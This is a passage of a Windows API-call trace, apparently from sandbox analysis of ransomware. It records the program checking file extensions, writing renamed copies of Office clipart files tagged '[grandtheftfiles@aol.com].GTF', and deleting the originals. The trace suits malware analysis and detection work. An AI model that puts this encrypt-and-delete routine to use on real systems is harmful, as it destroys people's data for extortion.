	[0171.729] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.729] lstrlenW (lpString=".ppt") returned 4
	[0171.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.729] lstrlenW (lpString=".zip") returned 4
	[0171.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.729] lstrlenW (lpString=".rar") returned 4
	[0171.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.729] lstrlenW (lpString=".bz2") returned 4
	[0171.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.729] lstrlenW (lpString=".7z") returned 3
	[0171.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.729] lstrlenW (lpString=".dbf") returned 4
	[0171.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.729] lstrlenW (lpString=".1cd") returned 4
	[0171.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.729] lstrlenW (lpString=".jpg") returned 4
	[0171.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.729] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.730] lstrlenW (lpString="J0107728.WMF") returned 12
	[0171.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.730] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5492) returned 1
	[0171.730] CloseHandle (hObject=0x45c) returned 1
	[0171.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220
	[0171.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.731] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.731] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.732] GetLastError () returned 0x0
	[0171.732] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1574, lpOverlapped=0x0) returned 1
	[0171.734] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1580, lpOverlapped=0x0) returned 1
	[0171.735] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.735] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.735] SetEndOfFile (hFile=0x55c) returned 1
	[0171.735] CloseHandle (hObject=0x55c) returned 1
	[0171.735] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.735] SetEndOfFile (hFile=0x45c) returned 1
	[0171.738] CloseHandle (hObject=0x45c) returned 1
	[0171.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1
	[0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.912] lstrlenW (lpString=".doc") returned 4
	[0171.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.912] lstrlenW (lpString=".docx") returned 5
	[0171.912] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.912] lstrlenW (lpString=".pdf") returned 4
	[0171.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.912] lstrlenW (lpString=".xls") returned 4
	[0171.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.912] lstrlenW (lpString=".xlsx") returned 5
	[0171.912] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.912] lstrlenW (lpString=".ppt") returned 4
	[0171.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.912] lstrlenW (lpString=".zip") returned 4
	[0171.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.912] lstrlenW (lpString=".rar") returned 4
	[0171.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.912] lstrlenW (lpString=".bz2") returned 4
	[0171.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.912] lstrlenW (lpString=".7z") returned 3
	[0171.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.912] lstrlenW (lpString=".dbf") returned 4
	[0171.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.912] lstrlenW (lpString=".1cd") returned 4
	[0171.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.912] lstrlenW (lpString=".jpg") returned 4
	[0171.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.913] lstrlenW (lpString=".doc") returned 4
	[0171.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString=".docx") returned 5
	[0171.913] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.913] lstrlenW (lpString=".pdf") returned 4
	[0171.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString=".xls") returned 4
	[0171.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.913] lstrlenW (lpString=".xlsx") returned 5
	[0171.913] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.913] lstrlenW (lpString=".ppt") returned 4
	[0171.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.913] lstrlenW (lpString=".zip") returned 4
	[0171.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.913] lstrlenW (lpString=".rar") returned 4
	[0171.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString=".bz2") returned 4
	[0171.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString=".7z") returned 3
	[0171.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.913] lstrlenW (lpString=".dbf") returned 4
	[0171.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.913] lstrlenW (lpString=".1cd") returned 4
	[0171.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0171.913] lstrlenW (lpString=".jpg") returned 4
	[0171.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.914] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.914] lstrlenW (lpString="J0107746.WMF") returned 12
	[0171.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.614] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4788) returned 1
	[0172.614] CloseHandle (hObject=0x550) returned 1
	[0172.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220
	[0172.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.670] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.670] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0172.671] GetLastError () returned 0x0
	[0172.672] ReadFile (in: hFile=0x550, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x12b4, lpOverlapped=0x0) returned 1
	[0172.673] WriteFile (in: hFile=0x570, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0172.674] ReadFile (in: hFile=0x550, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.675] WriteFile (in: hFile=0x570, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.675] SetEndOfFile (hFile=0x570) returned 1
	[0172.675] CloseHandle (hObject=0x570) returned 1
	[0172.675] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.675] SetEndOfFile (hFile=0x550) returned 1
	[0172.678] CloseHandle (hObject=0x550) returned 1
	[0172.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1
	[0172.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.680] lstrlenW (lpString=".doc") returned 4
	[0172.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.680] lstrlenW (lpString=".docx") returned 5
	[0172.680] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.680] lstrlenW (lpString=".pdf") returned 4
	[0172.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.680] lstrlenW (lpString=".xls") returned 4
	[0172.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.680] lstrlenW (lpString=".xlsx") returned 5
	[0172.681] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.681] lstrlenW (lpString=".ppt") returned 4
	[0172.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.681] lstrlenW (lpString=".zip") returned 4
	[0172.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.681] lstrlenW (lpString=".rar") returned 4
	[0172.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString=".bz2") returned 4
	[0172.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString=".7z") returned 3
	[0172.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.681] lstrlenW (lpString=".dbf") returned 4
	[0172.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.681] lstrlenW (lpString=".1cd") returned 4
	[0172.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.681] lstrlenW (lpString=".jpg") returned 4
	[0172.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.681] lstrlenW (lpString=".doc") returned 4
	[0172.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString=".docx") returned 5
	[0172.681] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.681] lstrlenW (lpString=".pdf") returned 4
	[0172.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.681] lstrlenW (lpString=".xls") returned 4
	[0172.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.681] lstrlenW (lpString=".xlsx") returned 5
	[0172.682] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.682] lstrlenW (lpString=".ppt") returned 4
	[0172.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.682] lstrlenW (lpString=".zip") returned 4
	[0172.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.682] lstrlenW (lpString=".rar") returned 4
	[0172.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.682] lstrlenW (lpString=".bz2") returned 4
	[0172.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.682] lstrlenW (lpString=".7z") returned 3
	[0172.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.682] lstrlenW (lpString=".dbf") returned 4
	[0172.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.682] lstrlenW (lpString=".1cd") returned 4
	[0172.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0172.682] lstrlenW (lpString=".jpg") returned 4
	[0172.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.682] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0172.682] lstrlenW (lpString="J0145361.JPG") returned 12
	[0172.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.683] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=21125) returned 1
	[0172.683] CloseHandle (hObject=0x550) returned 1
	[0172.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220
	[0172.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.684] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.684] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0172.685] GetLastError () returned 0x0
	[0172.685] ReadFile (in: hFile=0x550, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x5285, lpOverlapped=0x0) returned 1
	[0172.687] WriteFile (in: hFile=0x570, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x5290, lpOverlapped=0x0) returned 1
	[0172.689] ReadFile (in: hFile=0x550, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.689] WriteFile (in: hFile=0x570, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.689] SetEndOfFile (hFile=0x570) returned 1
	[0172.689] CloseHandle (hObject=0x570) returned 1
	[0172.689] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.689] SetEndOfFile (hFile=0x550) returned 1
	[0172.693] CloseHandle (hObject=0x550) returned 1
	[0172.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1
	[0172.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.695] lstrlenW (lpString=".doc") returned 4
	[0172.695] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0172.695] lstrlenW (lpString=".docx") returned 5
	[0172.695] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0172.695] lstrlenW (lpString=".pdf") returned 4
	[0172.695] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0172.695] lstrlenW (lpString=".xls") returned 4
	[0172.695] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0172.695] lstrlenW (lpString=".xlsx") returned 5
	[0172.695] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0172.695] lstrlenW (lpString=".ppt") returned 4
	[0172.695] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0172.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.695] lstrlenW (lpString=".zip") returned 4
	[0172.695] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0172.695] lstrlenW (lpString=".rar") returned 4
	[0172.695] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0172.695] lstrlenW (lpString=".bz2") returned 4
	[0172.695] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0172.695] lstrlenW (lpString=".7z") returned 3
	[0172.695] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0172.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.695] lstrlenW (lpString=".dbf") returned 4
	[0172.695] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0172.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.696] lstrlenW (lpString=".1cd") returned 4
	[0172.696] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0172.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.696] lstrlenW (lpString=".jpg") returned 4
	[0172.696] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0172.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0172.696] lstrlenW (lpString=".doc") returned 4
	[0172.696] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0172.696] lstrlenW (lpString=".docx") returned 5
	[0172.696] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0172.696] lstrlenW (lpString=".pdf") returned 4
	[0172.696] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0172.696] lstrlenW (lpString=".xls") returned 4
	[0172.696] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0172.696] lstrlenW (lpString=".xlsx") returned 5
